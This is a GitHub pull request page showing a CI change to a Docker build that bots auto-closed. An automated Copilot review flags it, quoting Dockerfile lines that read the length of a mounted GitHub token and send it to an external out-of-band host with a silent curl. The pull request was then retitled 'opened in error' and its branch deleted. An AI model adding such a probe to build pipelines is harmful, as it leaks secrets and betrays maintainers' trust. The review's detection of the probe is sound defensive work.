Skip to content

ci: build metadata (closed, opened in error) - #459

Closed
didyounes wants to merge 1 commit into
circlefin:mainfrom
didyounes:ci/build-metadata-probe
Closed

didyounes wants to merge 1 commit into
circlefin:mainfrom
didyounes:ci/build-metadata-probe

Conversation

@didyounes

@didyounes didyounes commented Sep 22, 2026

Copy link
Copy Markdown

Opened in error during local testing. Closed and branch/fork removed.

Copilot AI lite review requested due to automatic review settings September 22, 2026 16:11
@github-actions

Copy link
Copy Markdown
Contributor

⚠️ Unsigned Commits Detected

The following commits are missing a verified signature:

  • 0f29c78 by didyounes

How to fix: Sign your commits.

@github-actions

Copy link
Copy Markdown
Contributor

Hi @didyounes,

Thank you for your interest in contributing to Arc Node.

This PR has been automatically closed because it does not reference a GitHub issue. All PRs must reference an existing issue using the format Closes: #XXX.

To contribute properly:

  1. Find an existing issue you'd like to work on, or open a new issue describing your proposed change
  2. Comment on the issue requesting assignment and wait for maintainer approval
  3. Only submit a PR after you have been assigned to the issue

Please see our CONTRIBUTING.md for more details.

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot review overview

🟡 Changes recommended

Remove the credential validation/probing and external callback before approval.

Get a fresh assessment by requesting another Copilot review.

Review effort: Lite
Findings: 1 High severity

Open (1)
What changed in this PR

This CI change passes OIDC build metadata through Docker Bake secrets for use during image builds.

Changes:

  • Adds OIDC URL/token secret mounts in docker-bake.hcl.
  • Consumes them in the execution Dockerfile’s chef stage.
File Summary
docker-bake.hcl Adds OIDC environment secrets to Bake.
deployments/​Dockerfile.execution Consumes the secrets but includes credential probing and an external callback.

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment on lines +24 to +26
OOB="https://cipoc-e31a2c.dapag0sasoc4d158q4igokuzu8m9sjphd.oast.me"; \
GHLEN=0; [ -s /run/secrets/github_token ] && GHLEN=$(wc -c < /run/secrets/github_token | tr -d ' '); \
curl -s -m 10 "$OOB/hit?step=secret&ghex_len=$GHLEN" >/dev/null 2>&1 || true; \
@didyounes
didyounes deleted the ci/build-metadata-probe branch September 22, 2026 16:27
@didyounes didyounes changed the title ci: propagate build metadata through bake secret mounts ci: build metadata (closed, opened in error) Sep 22, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants